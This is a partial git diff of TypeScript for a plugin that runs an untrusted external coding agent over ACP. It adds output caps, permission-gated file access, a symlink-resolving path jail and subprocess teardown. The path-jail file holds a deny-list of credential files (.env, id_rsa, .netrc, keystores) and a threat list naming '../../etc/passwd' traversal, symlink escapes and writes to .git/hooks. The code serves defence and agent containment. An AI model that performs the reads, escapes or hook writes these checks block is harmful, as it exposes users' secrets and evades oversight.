+ // Re-insert moves an existing key to the tail (refresh recency); for a new
+ // key, evict the oldest first so size stays bounded.
+ if (!toolCalls.has(id) && toolCalls.size >= TOOL_CALL_MAP_CAP) {
+ const oldest = toolCalls.keys().next().value;
+ if (oldest !== undefined) toolCalls.delete(oldest);
+ }
+ toolCalls.set(id, tracked);
+ return id;
+ }
+
+ /**
+ * Forward one sanitized + bounded delta through `emit`, honoring the per-turn
+ * cumulative cap. Once the cap is exceeded, forwarding stops and a single
+ * truncation flag line is emitted via `onThinking`.
+ */
+ function forwardBounded(
+ raw: string,
+ prior: string,
+ emit: (delta: string) => void,
+ ): string {
+ if (outputCapFlagged) return prior;
+ if (cumulativeOutputChars >= PER_TURN_OUTPUT_CAP_CHARS) {
+ outputCapFlagged = true;
+ callbacks.onThinking?.(
+ "[output truncated: per-turn limit reached — further agent output suppressed]",
+ );
+ return prior;
+ }
+ // Sanitize control/ANSI (Risk S7) and bound the single chunk (Risk S5).
+ const sanitized = boundString(stripControlSequences(raw), PER_CHUNK_CAP_CHARS);
+ if (sanitized === "") return prior;
+ const delta = normalizeStreamingDelta(prior, sanitized);
+ cumulativeOutputChars += delta.length;
+ emit(delta);
+ return prior + delta;
+ }
+
+ function emitText(content: ContentBlock | undefined): void {
+ const raw = extractText(content);
+ if (raw === undefined || raw === "") return;
+ textSoFar = forwardBounded(raw, textSoFar, (delta) => callbacks.onText?.(delta));
+ }
+
+ function emitThinking(content: ContentBlock | undefined): void {
+ const raw = extractText(content);
+ if (raw === undefined || raw === "") return;
+ thinkingSoFar = forwardBounded(raw, thinkingSoFar, (delta) =>
+ callbacks.onThinking?.(delta),
+ );
+ }
+
+ /** Sanitize an agent-supplied tool title before it reaches a callback/log (S7). */
+ function safeTitle(title: string | null | undefined): string | null | undefined {
+ if (typeof title !== "string") return title;
+ return boundString(stripControlSequences(title), PER_CHUNK_CAP_CHARS);
+ }
+
+ function handleToolCall(update: Extract): void {
+ if (typeof update.toolCallId !== "string") return;
+ const title = safeTitle(update.title);
+ const id = setTracked(update.toolCallId, { title, kind: update.kind, ended: false });
+ if (id === undefined) return;
+ const name = toolDisplayName({ title, kind: update.kind });
+ callbacks.onToolStart?.(name, normalizeToolArgs(update.rawInput));
+ }
+
+ function handleToolCallUpdate(
+ update: Extract,
+ ): void {
+ if (typeof update.toolCallId !== "string") return;
+ const id = boundIdentifier(update.toolCallId);
+ if (id === "") return;
+ const tracked = toolCalls.get(id) ?? { ended: false };
+ // Carry forward title/kind from the prior `tool_call` when this update omits
+ // them (a partial update may only set status/output).
+ if (update.title != null) tracked.title = safeTitle(update.title);
+ if (update.kind != null) tracked.kind = update.kind;
+ // `id` is already bounded above; setTracked re-keys with the same value.
+ setTracked(id, tracked);
+
+ const status = update.status;
+ if (status !== "completed" && status !== "failed") {
+ // Intermediate (pending/in_progress) — tracking updated, no callback.
+ return;
+ }
+ if (tracked.ended) return; // already fired a terminal callback
+ tracked.ended = true;
+ const name = toolDisplayName({ title: tracked.title, kind: tracked.kind });
+ callbacks.onToolEnd?.(name, status === "failed", update.rawOutput);
+ }
+
+ function handlePlan(entries: PlanEntry[] | undefined): void {
+ // FULL REPLACEMENT: drop any prior snapshot, surface the new one once.
+ // Plan output is charged against the same per-turn budget as text/thinking
+ // (Risk S5): entry SIZE is bounded in formatPlan, but entry COUNT is
+ // agent-controlled — without the cap below, one plan event with thousands
+ // of entries bypasses the per-turn ceiling entirely.
+ if (outputCapFlagged) return;
+ // Enforce the ceiling on the plan path too: without this check a plan-ONLY
+ // stream (no text/thinking ever entering forwardBounded) would keep
+ // emitting forever after crossing the budget.
+ if (cumulativeOutputChars >= PER_TURN_OUTPUT_CAP_CHARS) {
+ outputCapFlagged = true;
+ callbacks.onThinking?.(
+ "[output truncated: per-turn limit reached — further agent output suppressed]",
+ );
+ return;
+ }
+ const list = Array.isArray(entries) ? entries : [];
+ const capped = list.slice(0, MAX_PLAN_ENTRIES);
+ let line = formatPlan(capped);
+ if (list.length > capped.length) {
+ line += `\n- … ${list.length - capped.length} more entries truncated`;
+ }
+ line = boundString(line, PER_CHUNK_CAP_CHARS);
+ cumulativeOutputChars += line.length;
+ callbacks.onThinking?.(line);
+ }
+
+ function handleSessionUpdate(update: SessionUpdate): void {
+ if (!update || typeof update !== "object") return;
+ try {
+ switch (update.sessionUpdate) {
+ case "agent_message_chunk":
+ emitText(update.content);
+ break;
+ case "agent_thought_chunk":
+ emitThinking(update.content);
+ break;
+ case "user_message_chunk":
+ // Echo of user input — ignored in v1.
+ break;
+ case "tool_call":
+ handleToolCall(update);
+ break;
+ case "tool_call_update":
+ handleToolCallUpdate(update);
+ break;
+ case "plan":
+ handlePlan(update.entries);
+ break;
+ case "plan_update":
+ // The (experimental) `PlanUpdate` variant carries a `plan` field, NOT a
+ // top-level `entries` array — so there is nothing here to map to our
+ // entries-based snapshot. v1 treats it as a NO-OP rather than wiping the
+ // prior plan: the full `plan` event remains the source of truth.
+ break;
+ case "plan_removed":
+ // Clearing the plan: surface nothing.
+ break;
+ case "available_commands_update":
+ case "current_mode_update":
+ case "config_option_update":
+ case "session_info_update":
+ case "usage_update":
+ // Stored/ignored in v1 — no callback surface.
+ break;
+ default:
+ // Unknown/forward-compat tag — ignore without throwing.
+ break;
+ }
+ } catch {
+ // Tolerant: a malformed/partial update must never break the stream.
+ }
+ }
+
+ return { handleSessionUpdate, reset };
+}
diff --git a/plugins/fusion-plugin-acp-runtime/src/fs-capabilities.ts b/plugins/fusion-plugin-acp-runtime/src/fs-capabilities.ts
new file mode 100644
index 0000000000..756642b2e7
--- /dev/null
+++ b/plugins/fusion-plugin-acp-runtime/src/fs-capabilities.ts
@@ -0,0 +1,262 @@
+// U7 — client filesystem capabilities behind the path jail (KTD6 / Risk S3/S4/S5).
+//
+// These handlers back the ACP `fs/read_text_file` / `fs/write_text_file` client
+// methods. They exist ONLY when the resolved settings opt in (KTD6): reads are
+// opt-in, writes default OFF and are additionally routed through the action gate
+// as a `file_write_delete` category (reusing the U5 floor — never a free
+// capability). Every path crosses `assertPathWithinCwd` (the symlink-resolving
+// jail) before any byte is read or written, and the secret/git deny-lists apply
+// regardless of cwd membership.
+//
+// On ANY rejection (jail / deny-list / policy / oversize) these THROW — the SDK
+// surfaces the throw as a JSON-RPC error. They MUST NEVER silently succeed.
+
+import { constants as fsConstants } from "node:fs";
+import type {
+ ReadTextFileRequest,
+ ReadTextFileResponse,
+ WriteTextFileRequest,
+ WriteTextFileResponse,
+} from "@agentclientprotocol/sdk";
+import {
+ assertPathWithinCwd,
+ isGitInternal,
+ isSecretPath,
+ openWithinCwd,
+ PathJailError,
+} from "./path-jail.js";
+import { effectiveDisposition, runApprovalForCategory } from "./control-handler.js";
+import type { PermissionGate } from "./types.js";
+
+/** Hard ceiling on bytes returned from a read when `limit` is absent/huge (S5). */
+export const DEFAULT_READ_MAX_BYTES = 5 * 1024 * 1024; // 5 MiB
+
+/** Hard ceiling on bytes accepted for a single write (S5). */
+export const DEFAULT_WRITE_MAX_BYTES = 5 * 1024 * 1024; // 5 MiB
+
+/** Thrown when a write's content exceeds the size ceiling. */
+export class FsContentTooLargeError extends Error {
+ readonly code = "content_too_large" as const;
+ constructor(readonly limitBytes: number) {
+ super(`fs write content exceeds the ${limitBytes}-byte ceiling`);
+ this.name = "FsContentTooLargeError";
+ }
+}
+
+/** Thrown when a gated write is blocked by the permission policy. */
+export class FsWriteDeniedError extends Error {
+ readonly code = "write_denied" as const;
+ constructor(message: string) {
+ super(message);
+ this.name = "FsWriteDeniedError";
+ }
+}
+
+export interface FsHandlerOptions {
+ /** Confinement root — the task worktree (session cwd). */
+ cwd: string;
+ /** Per-run permission gate (U5). Required for write gating. */
+ gate?: PermissionGate;
+ /** Advertise/register `readTextFile`. */
+ allowRead: boolean;
+ /** Advertise/register `writeTextFile` (default OFF — KTD6). */
+ allowWrite: boolean;
+ /**
+ * Risk S1 acknowledgement. When false (default), a blanket `allow` on the
+ * `file_write_delete` category is escalated to `require-approval` for the
+ * untrusted agent rather than auto-approved.
+ */
+ allowUnrestricted?: boolean;
+ /** Override the read byte ceiling (tests). */
+ readMaxBytes?: number;
+ /** Override the write byte ceiling (tests). */
+ writeMaxBytes?: number;
+}
+
+export interface FsHandlers {
+ readTextFile?: (params: ReadTextFileRequest) => Promise;
+ writeTextFile?: (params: WriteTextFileRequest) => Promise;
+}
+
+/**
+ * Apply the `line`/`limit` window AND the hard byte ceiling to file content.
+ *
+ * `line` is 1-based (per the ACP schema). `limit` caps the number of lines. When
+ * `limit` is absent or absurdly large the byte ceiling still bounds the result
+ * so a multi-GB file can't be slurped into memory (S5).
+ */
+export function applyReadWindow(
+ content: string,
+ line: number | null | undefined,
+ limit: number | null | undefined,
+ maxBytes: number,
+): string {
+ let out = content;
+ const hasLine = typeof line === "number" && Number.isFinite(line) && line > 1;
+ const hasLimit = typeof limit === "number" && Number.isFinite(limit) && limit > 0;
+
+ if (hasLine || hasLimit) {
+ const lines = content.split("\n");
+ const start = hasLine ? Math.floor(line as number) - 1 : 0;
+ const end = hasLimit ? start + Math.floor(limit as number) : lines.length;
+ out = lines.slice(start, end).join("\n");
+ }
+
+ // Byte ceiling regardless of line/limit (truncate on a UTF-8 boundary-safe
+ // basis by slicing the buffer then decoding).
+ const buf = Buffer.from(out, "utf8");
+ if (buf.byteLength > maxBytes) {
+ out = buf.subarray(0, maxBytes).toString("utf8");
+ }
+ return out;
+}
+
+/**
+ * Build the fs handlers, returning ONLY the ones enabled by settings. The
+ * provider registers these on the `Client` impl iff the matching capability is
+ * advertised (consistency invariant — KTD6).
+ */
+export function createFsHandlers(opts: FsHandlerOptions): FsHandlers {
+ const readMaxBytes = opts.readMaxBytes ?? DEFAULT_READ_MAX_BYTES;
+ const writeMaxBytes = opts.writeMaxBytes ?? DEFAULT_WRITE_MAX_BYTES;
+ const handlers: FsHandlers = {};
+
+ if (opts.allowRead) {
+ handlers.readTextFile = async (
+ params: ReadTextFileRequest,
+ ): Promise => {
+ const resolved = await assertPathWithinCwd(params.path, opts.cwd);
+ // Secrets that legitimately live inside the worktree are still denied.
+ if (isSecretPath(resolved)) {
+ throw new PathJailError(
+ "denied_secret",
+ `read of secret-pattern file denied: ${resolved}`,
+ );
+ }
+ // Reading git internals is also denied (config/token surface).
+ if (isGitInternal(resolved)) {
+ throw new PathJailError(
+ "denied_git",
+ `read of git-internal file denied: ${resolved}`,
+ );
+ }
+
+ // Atomic, symlink-safe open (TOCTOU defense), then read.
+ const handle = await openWithinCwd(resolved, opts.cwd, fsConstants.O_RDONLY);
+ try {
+ const hasLimit =
+ typeof params.limit === "number" &&
+ Number.isFinite(params.limit) &&
+ params.limit > 0;
+ // DoS guard (FIX 4): a multi-GB file would OOM if we `readFile` the whole
+ // thing before `applyReadWindow` truncates. When the file exceeds the byte
+ // ceiling AND no bounding `limit` was supplied, read at most ceiling+1
+ // bytes so memory stays bounded; the +1 still lets applyReadWindow apply
+ // its truncation marker logic identically to a full read. A `limit` is
+ // line-bounded and read in full (matches prior behavior).
+ const stat = await handle.stat();
+ let content: string;
+ if (!hasLimit && stat.size > readMaxBytes) {
+ const buf = Buffer.alloc(readMaxBytes + 1);
+ const { bytesRead } = await handle.read(buf, 0, readMaxBytes + 1, 0);
+ content = buf.subarray(0, bytesRead).toString("utf8");
+ } else {
+ content = await handle.readFile({ encoding: "utf8" });
+ }
+ return {
+ content: applyReadWindow(content, params.line, params.limit, readMaxBytes),
+ };
+ } finally {
+ await handle.close().catch(() => undefined);
+ }
+ };
+ }
+
+ if (opts.allowWrite) {
+ handlers.writeTextFile = async (
+ params: WriteTextFileRequest,
+ ): Promise => {
+ const content = typeof params.content === "string" ? params.content : "";
+ // Size ceiling BEFORE any filesystem work (S5).
+ if (Buffer.byteLength(content, "utf8") > writeMaxBytes) {
+ throw new FsContentTooLargeError(writeMaxBytes);
+ }
+
+ const resolved = await assertPathWithinCwd(params.path, opts.cwd);
+
+ // HARD-reject writes to git internals (.git/**) — RCE/token surface (S3).
+ if (isGitInternal(resolved)) {
+ throw new PathJailError(
+ "denied_git",
+ `write to git-internal path hard-rejected: ${resolved}`,
+ );
+ }
+ // Never let an agent overwrite a secret either.
+ if (isSecretPath(resolved)) {
+ throw new PathJailError(
+ "denied_secret",
+ `write to secret-pattern file denied: ${resolved}`,
+ );
+ }
+
+ // Route the write through the action gate as `file_write_delete` (U5):
+ // allow → proceed, block → reject, require-approval → HITL (or
+ // default-deny when no human channel). Reuses the U5 helpers so the
+ // security floor stays single-sourced.
+ const gate = opts.gate;
+ const disposition = gate?.permissionPolicy
+ ? effectiveDisposition("file_write_delete", gate, {
+ allowUnrestricted: opts.allowUnrestricted,
+ })
+ : "require-approval";
+
+ if (disposition === "block") {
+ throw new FsWriteDeniedError(
+ `file_write_delete is blocked by policy: ${resolved}`,
+ );
+ }
+ if (disposition === "require-approval") {
+ const decision = gate
+ ? await runApprovalForCategory(gate, {
+ category: "file_write_delete",
+ toolName: "fs/write_text_file",
+ dedupeKey: `fs_write|${resolved}`,
+ args: { path: resolved },
+ })
+ : "deny";
+ if (decision !== "allow") {
+ throw new FsWriteDeniedError(
+ `file_write_delete write requires approval and was not granted: ${resolved}`,
+ );
+ }
+ }
+ // disposition === "allow" → proceed.
+
+ // Atomic, symlink-safe create within cwd. O_NOFOLLOW (in openWithinCwd)
+ // guards ONLY the FINAL component; an intermediate dir swapped to a symlink
+ // is still followed. We therefore must NOT pass O_TRUNC into open(): doing
+ // so would TRUNCATE an escaped target BEFORE openWithinCwd's post-open
+ // realpath re-validation gets to reject it (write-path TOCTOU, FIX 3).
+ // Instead open create+write WITHOUT truncate, let openWithinCwd run its
+ // re-validation, and ONLY truncate (via the fd) AFTER it has proven the
+ // opened inode is still inside the jail.
+ const handle = await openWithinCwd(
+ resolved,
+ opts.cwd,
+ fsConstants.O_WRONLY | fsConstants.O_CREAT,
+ 0o644,
+ );
+ try {
+ // Truncate-AFTER-validate: openWithinCwd returned only because the
+ // re-validation passed, so it is now safe to empty the file and write.
+ await handle.truncate(0);
+ await handle.writeFile(content, { encoding: "utf8" });
+ } finally {
+ await handle.close().catch(() => undefined);
+ }
+ return {};
+ };
+ }
+
+ return handlers;
+}
diff --git a/plugins/fusion-plugin-acp-runtime/src/index.ts b/plugins/fusion-plugin-acp-runtime/src/index.ts
new file mode 100644
index 0000000000..19468c9b2d
--- /dev/null
+++ b/plugins/fusion-plugin-acp-runtime/src/index.ts
@@ -0,0 +1,62 @@
+import { definePlugin } from "@fusion/plugin-sdk";
+import type { FusionPlugin, PluginRuntimeFactory, PluginRuntimeManifestMetadata } from "@fusion/plugin-sdk";
+import { resolveCliSettings } from "./cli-spawn.js";
+import { AcpRuntimeAdapter } from "./runtime-adapter.js";
+import { killAllProcesses } from "./process-manager.js";
+
+// Reap any live agent subprocesses on hard process exit so none are orphaned
+// (KTD4 — the registry SIGKILL is the authoritative no-orphan guarantee). Scoped
+// to tracked agent subprocesses only; never touches other processes/ports.
+process.on("exit", killAllProcesses);
+
+export const ACP_RUNTIME_ID = "acp";
+const ACP_RUNTIME_VERSION = "0.1.0";
+
+export const acpRuntimeMetadata: PluginRuntimeManifestMetadata = {
+ runtimeId: ACP_RUNTIME_ID,
+ name: "ACP Runtime",
+ description: "Drives any external ACP-compatible agent over JSON-RPC/stdio",
+ version: ACP_RUNTIME_VERSION,
+};
+
+export const acpRuntimeFactory: PluginRuntimeFactory = async (ctx) =>
+ new AcpRuntimeAdapter(ctx.settings as Record | undefined);
+
+const plugin: FusionPlugin = definePlugin({
+ manifest: {
+ id: "fusion-plugin-acp-runtime",
+ name: "ACP Runtime Plugin",
+ version: ACP_RUNTIME_VERSION,
+ description: "Drives any external ACP-compatible agent over JSON-RPC/stdio",
+ runtime: acpRuntimeMetadata,
+ },
+ state: "installed",
+ hooks: {
+ onLoad: (ctx) => {
+ const settings = resolveCliSettings(ctx.settings as Record);
+ ctx.logger.info(
+ // Log the arg COUNT, not values — args can carry inline tokens/secrets.
+ `ACP Runtime Plugin loaded — binary=${settings.binaryPath} argCount=${settings.args.length} ` +
+ `fsRead=${settings.fsRead} fsWrite=${settings.fsWrite}`,
+ );
+ // Risk S1: the ACP agent is an untrusted subprocess. Acknowledging the
+ // unrestricted policy disables the per-call approval escalation — warn so
+ // it is a deliberate, visible choice.
+ if (settings.allowUnrestricted) {
+ ctx.logger.warn(
+ "ACP Runtime: acpAllowUnrestricted is set — sensitive tool calls from the untrusted agent " +
+ "will be auto-approved under an allow-all policy. Prefer an approval-required policy.",
+ );
+ }
+ },
+ },
+ runtime: {
+ metadata: acpRuntimeMetadata,
+ factory: acpRuntimeFactory,
+ },
+});
+
+export default plugin;
+export { AcpRuntimeAdapter };
+export { resolveCliSettings } from "./cli-spawn.js";
+export type { AcpCliSettings } from "./cli-spawn.js";
diff --git a/plugins/fusion-plugin-acp-runtime/src/path-jail.ts b/plugins/fusion-plugin-acp-runtime/src/path-jail.ts
new file mode 100644
index 0000000000..e584e5a9a6
--- /dev/null
+++ b/plugins/fusion-plugin-acp-runtime/src/path-jail.ts
@@ -0,0 +1,228 @@
+// U7 — the SECURITY BOUNDARY for client filesystem capabilities (KTD6a / Risk S3).
+//
+// `project-root-guard.ts` is a `.fusion`-suffix / git-worktree STRING check, NOT
+// a path jail — it is deliberately NOT used here. This module is a real
+// symlink-resolving confinement jail. The ACP agent is an untrusted subprocess;
+// every path it hands to `fs/read_text_file` / `fs/write_text_file` is hostile
+// input and must be proven to resolve INSIDE the session `cwd` before any open.
+//
+// Threats defended (each has a test):
+// 1. Lexical escape — `../../etc/passwd` normalized against cwd → reject.
+// 2. Symlink escape — a symlink INSIDE cwd pointing at /etc: lexical
+// normalization passes but the REAL target is outside.
+// We resolve realpath (follow symlinks) and require it
+// within realpath(cwd). New files: validate realpath of
+// the PARENT, then lstat the final component and reject
+// if it is itself a symlink.
+// 3. TOCTOU — `openWithinCwd` opens with O_NOFOLLOW on the final
+// component and re-validates the opened fd, so a
+// component cannot be swapped for a symlink between
+// check and open.
+// 4. Secret reads — `.env*`, `*.pem`, `*.key`, `.npmrc`, `.netrc`,
+// `id_*`, `credentials` (by basename) → denied.
+// 5. Git-internals write — anything under a `.git/` dir → hard-reject.
+// 6. NUL bytes / absolute-escape / separator tricks → reject.
+
+import { constants as fsConstants } from "node:fs";
+import { open, realpath, lstat } from "node:fs/promises";
+import type { FileHandle } from "node:fs/promises";
+import * as path from "node:path";
+
+/** Typed jail rejection. `code` lets callers map to the right JSON-RPC error. */
+export type PathJailErrorCode =
+ | "path_outside_cwd"
+ | "denied_secret"
+ | "denied_git"
+ | "invalid_path";
+
+export class PathJailError extends Error {
+ readonly code: PathJailErrorCode;
+ constructor(code: PathJailErrorCode, message: string) {
+ super(message);
+ this.code = code;
+ this.name = "PathJailError";
+ }
+}
+
+/** Secret-bearing basenames/patterns that must never be read even inside cwd. */
+const SECRET_BASENAME_PATTERNS: RegExp[] = [
+ /^\.env($|\..*$)/i, // .env, .env.local, .env.production, ...
+ /\.pem$/i,
+ /\.key$/i,
+ /^\.npmrc$/i,
+ /^\.netrc$/i,
+ /^id_.+$/i, // id_rsa, id_ed25519, id_rsa.pub, ...
+ /^credentials$/i,
+ /^\.git-credentials$/i, // git stored plaintext credentials
+ /\.p12$/i, // PKCS#12 keystore
+ /\.pfx$/i, // PKCS#12 keystore (Windows)
+ /\.(keystore|jks)$/i, // Java keystore
+ /^\.dockercfg$/i, // legacy docker registry auth
+ /^\.pgpass$/i, // PostgreSQL password file
+ /^\.htpasswd$/i, // Apache basic-auth credentials
+];
+
+/**
+ * Is `resolved` a secret file by basename? Confinement-independent: secrets that
+ * legitimately live inside the worktree are still denied (KTD6a deny-list).
+ */
+export function isSecretPath(resolved: string): boolean {
+ const base = path.basename(resolved);
+ return SECRET_BASENAME_PATTERNS.some((re) => re.test(base));
+}
+
+/**
+ * Is `resolved` inside a `.git/` directory (git internals)? Writing here yields
+ * RCE (`.git/hooks/pre-commit`) or token theft (`.git/config`) — hard-reject
+ * writes regardless of cwd membership (KTD6a deny-list).
+ */
+export function isGitInternal(resolved: string): boolean {
+ const segments = resolved.split(path.sep);
+ return segments.includes(".git");
+}
+
+/** Reject a raw request path with NUL bytes or that is empty/non-string. */
+function rejectMalformed(requestedPath: string): void {
+ if (typeof requestedPath !== "string" || requestedPath.length === 0) {
+ throw new PathJailError("invalid_path", "empty or non-string path");
+ }
+ if (requestedPath.includes("\0")) {
+ throw new PathJailError("invalid_path", "path contains a NUL byte");
+ }
+}
+
+/** True iff `child` is `parent` or a descendant of it (both already real). */
+function isWithin(parent: string, child: string): boolean {
+ if (child === parent) return true;
+ const withSep = parent.endsWith(path.sep) ? parent : parent + path.sep;
+ return child.startsWith(withSep);
+}
+
+/**
+ * Resolve `requestedPath` (relative to `cwd`, or absolute) to a SAFE absolute
+ * path proven to live inside the realpath of `cwd`, or throw `PathJailError`.
+ *
+ * - Existing target: resolve realpath of the target (follows all symlinks) and
+ * require it within realpath(cwd).
+ * - Non-existent target (a new file to write): resolve realpath of the PARENT
+ * dir, require THAT within realpath(cwd), then `lstat` the final component and
+ * reject if it is a symlink (a dangling symlink would otherwise let a later
+ * open follow it out of the jail).
+ *
+ * The returned path is `realpath(parent) + basename` — safe to hand to
+ * `openWithinCwd`, which re-validates atomically (O_NOFOLLOW) to close TOCTOU.
+ */
+export async function assertPathWithinCwd(
+ requestedPath: string,
+ cwd: string,
+): Promise {
+ rejectMalformed(requestedPath);
+
+ // Realpath of the confinement root. If cwd itself can't be resolved, nothing
+ // can be confined — treat as invalid.
+ let realCwd: string;
+ try {
+ realCwd = await realpath(cwd);
+ } catch {
+ throw new PathJailError("invalid_path", `cwd does not resolve: ${cwd}`);
+ }
+
+ // Resolve the requested path lexically against cwd FIRST (handles `../`).
+ const absRequested = path.resolve(realCwd, requestedPath);
+
+ // Try to realpath the target itself (exists case).
+ let resolved: string;
+ let targetExists = true;
+ try {
+ resolved = await realpath(absRequested);
+ } catch {
+ targetExists = false;
+ // Non-existent target: validate the parent dir's realpath, keep the final
+ // component name. The parent MUST exist and resolve inside cwd.
+ const parent = path.dirname(absRequested);
+ let realParent: string;
+ try {
+ realParent = await realpath(parent);
+ } catch {
+ throw new PathJailError(
+ "path_outside_cwd",
+ `parent directory does not resolve: ${parent}`,
+ );
+ }
+ if (!isWithin(realCwd, realParent)) {
+ throw new PathJailError(
+ "path_outside_cwd",
+ `resolved parent escapes cwd: ${realParent}`,
+ );
+ }
+ resolved = path.join(realParent, path.basename(absRequested));
+ }
+
+ if (!isWithin(realCwd, resolved)) {
+ throw new PathJailError(
+ "path_outside_cwd",
+ `resolved path escapes cwd: ${resolved}`,
+ );
+ }
+
+ // For a non-existent target, the final component must not already be a
+ // (dangling) symlink that a later open could follow out of the jail.
+ if (!targetExists) {
+ try {
+ const st = await lstat(resolved);
+ if (st.isSymbolicLink()) {
+ throw new PathJailError(
+ "path_outside_cwd",
+ `final component is a symlink: ${resolved}`,
+ );
+ }
+ } catch (err) {
+ if (err instanceof PathJailError) throw err;
+ // ENOENT for a not-yet-created file is expected — fine to proceed.
+ }
+ }
+
+ return resolved;
+}
+
+/**
+ * Open a jail-validated path atomically (TOCTOU defense, Risk S3 threat 3).
+ *
+ * `safePath` MUST be the output of `assertPathWithinCwd`. We open with
+ * `O_NOFOLLOW` so the FINAL component is never followed if it was swapped for a
+ * symlink between check and open, then `fstat` + realpath-via-fd re-validate the
+ * actually-opened inode is still inside `realCwd`. On any mismatch we close and
+ * throw rather than operate on an escaped handle.
+ */
+export async function openWithinCwd(
+ safePath: string,
+ cwd: string,
+ flags: number,
+ mode?: number,
+): Promise {
+ let realCwd: string;
+ try {
+ realCwd = await realpath(cwd);
+ } catch {
+ throw new PathJailError("invalid_path", `cwd does not resolve: ${cwd}`);
+ }
+
+ const handle = await open(safePath, flags | fsConstants.O_NOFOLLOW, mode);
+ try {
+ // Re-validate the opened inode's real path is still within the jail. On
+ // Linux `/proc/self/fd/` would work; portably we realpath the safePath
+ // again now that O_NOFOLLOW proved the final component isn't a symlink — any
+ // intermediate swap would change this resolution.
+ const reReal = await realpath(safePath);
+ if (!isWithin(realCwd, reReal)) {
+ throw new PathJailError(
+ "path_outside_cwd",
+ `opened path escapes cwd after open: ${reReal}`,
+ );
+ }
+ return handle;
+ } catch (err) {
+ await handle.close().catch(() => undefined);
+ throw err;
+ }
+}
diff --git a/plugins/fusion-plugin-acp-runtime/src/probe.ts b/plugins/fusion-plugin-acp-runtime/src/probe.ts
new file mode 100644
index 0000000000..48c4bf6799
--- /dev/null
+++ b/plugins/fusion-plugin-acp-runtime/src/probe.ts
@@ -0,0 +1,104 @@
+// Async readiness probe + failure taxonomy for the ACP runtime.
+//
+// Mirrors the droid-runtime async-probe convention (KTD4): never block the
+// event loop, never throw into it — always resolve a typed status. The probe
+// spawns the agent, completes (or fails) the `initialize` handshake under a
+// timeout, and maps the outcome onto a small failure taxonomy so the UI can
+// distinguish "binary missing" from "handshake stalled" from "needs auth".
+
+import {
+ connect,
+ HandshakeTimeoutError,
+ IncompatibleProtocolError,
+ DEFAULT_INITIALIZE_TIMEOUT_MS,
+} from "./provider.js";
+
+export type AcpProbeReason =
+ | "ok"
+ | "missing_binary"
+ | "spawn_error"
+ | "handshake_timeout"
+ | "incompatible_protocol"
+ | "unauthenticated";
+
+export interface AcpProbeStatus {
+ ok: boolean;
+ reason: AcpProbeReason;
+ detail?: string;
+ protocolVersion?: number;
+ authRequired?: boolean;
+}
+
+export interface ProbeOptions {
+ binaryPath: string;
+ args: string[];
+ cwd: string;
+ env: NodeJS.ProcessEnv;
+ timeoutMs?: number;
+}
+
+function isMissingBinary(err: unknown): boolean {
+ const code = (err as NodeJS.ErrnoException | undefined)?.code;
+ return code === "ENOENT";
+}
+
+/**
+ * Probe whether the configured ACP agent is present and completes the handshake.
+ *
+ * Never rejects — resolves an `AcpProbeStatus`. Always tears the spawned process
+ * down afterward (success or failure). Mapping:
+ * - ENOENT spawn error → `missing_binary`
+ * - other spawn error → `spawn_error`
+ * - handshake timeout → `handshake_timeout`
+ * - mismatched protocol version → `incompatible_protocol`
+ * - non-empty authMethods → `ok` with `authRequired: true`
+ */
+export async function probeAcpReadiness(opts: ProbeOptions): Promise {
+ const timeoutMs = opts.timeoutMs ?? DEFAULT_INITIALIZE_TIMEOUT_MS;
+ let connection: Awaited> | undefined;
+ try {
+ connection = await connect({
+ binaryPath: opts.binaryPath,
+ args: opts.args,
+ cwd: opts.cwd,
+ env: opts.env,
+ // Probe with fs capabilities OFF — readiness must not advertise anything
+ // the real session might not (KTD6).
+ advertiseFs: { read: false, write: false },
+ initializeTimeoutMs: timeoutMs,
+ });
+
+ const authRequired = connection.authMethods.length > 0;
+ return {
+ ok: true,
+ reason: "ok",
+ authRequired,
+ };
+ } catch (err) {
+ if (err instanceof HandshakeTimeoutError) {
+ return { ok: false, reason: "handshake_timeout", detail: err.message };
+ }
+ if (err instanceof IncompatibleProtocolError) {
+ return {
+ ok: false,
+ reason: "incompatible_protocol",
+ detail: err.message,
+ protocolVersion: err.agentProtocolVersion,
+ };
+ }
+ if (isMissingBinary(err)) {
+ return {
+ ok: false,
+ reason: "missing_binary",
+ detail: `ACP agent binary not found: ${opts.binaryPath}`,
+ };
+ }
+ return {
+ ok: false,
+ reason: "spawn_error",
+ detail: err instanceof Error ? err.message : String(err),
+ };
+ } finally {
+ connection?.dispose();
+ }
+}
diff --git a/plugins/fusion-plugin-acp-runtime/src/process-manager.ts b/plugins/fusion-plugin-acp-runtime/src/process-manager.ts
new file mode 100644
index 0000000000..db5f369503
--- /dev/null
+++ b/plugins/fusion-plugin-acp-runtime/src/process-manager.ts
@@ -0,0 +1,160 @@
+// Subprocess lifecycle for the ACP runtime.
+//
+// Mirrors the hardening conventions in
+// `plugins/fusion-plugin-droid-runtime/src/process-manager.ts`: a self-cleaning
+// process registry, SIGKILL teardown scoped to agent subprocesses only (never
+// the dashboard/port-4040 — KTD4), bounded stderr capture with secret redaction
+// (Risk S8), and a high inactivity ceiling (the engine's StuckTaskDetector is
+// the authoritative aborter — KTD4).
+//
+// The ACP agent is UNTRUSTED. The spawn env is built from an explicit allow-list
+// (KTD6b), never inherited `process.env`, so secret-bearing vars are not handed
+// to the agent.
+
+import { spawn, type ChildProcess } from "node:child_process";
+
+function debugLog(message: string): void {
+ if (process.env.PI_ACP_DEBUG !== "1") return;
+ console.error(`[acp-runtime] ${message}`);
+}
+
+/** Registry of active agent subprocesses for teardown. Self-cleans on exit. */
+const activeProcesses = new Set();
+
+/**
+ * Register a subprocess in the agent process registry.
+ * Auto-removed from the registry when it exits.
+ */
+export function registerProcess(child: ChildProcess): void {
+ activeProcesses.add(child);
+ child.on("exit", () => activeProcesses.delete(child));
+}
+
+/** Remove a subprocess from the registry (idempotent). */
+export function unregisterProcess(child: ChildProcess): void {
+ activeProcesses.delete(child);
+}
+
+/** Number of registered (presumed-live) agent subprocesses — for diagnostics/tests. */
+export function activeProcessCount(): number {
+ return activeProcesses.size;
+}
+
+/**
+ * Force-kill a subprocess via SIGKILL. No-op if already dead (killed or exited).
+ * Cross-platform safe: Node treats SIGKILL as forceful termination on Windows.
+ */
+export function forceKill(child: ChildProcess): void {
+ if (child.killed || child.exitCode !== null) return;
+ try {
+ child.kill("SIGKILL");
+ } catch {
+ // already gone
+ }
+}
+
+/**
+ * Force-kill every registered agent subprocess and clear the registry.
+ *
+ * Scoped to agent subprocesses tracked here only — never the dashboard / port
+ * 4040 / any other process (KTD4 / kill-guard conventions). Safe to call
+ * repeatedly; no-ops on already-dead processes.
+ */
+export function killAllProcesses(): void {
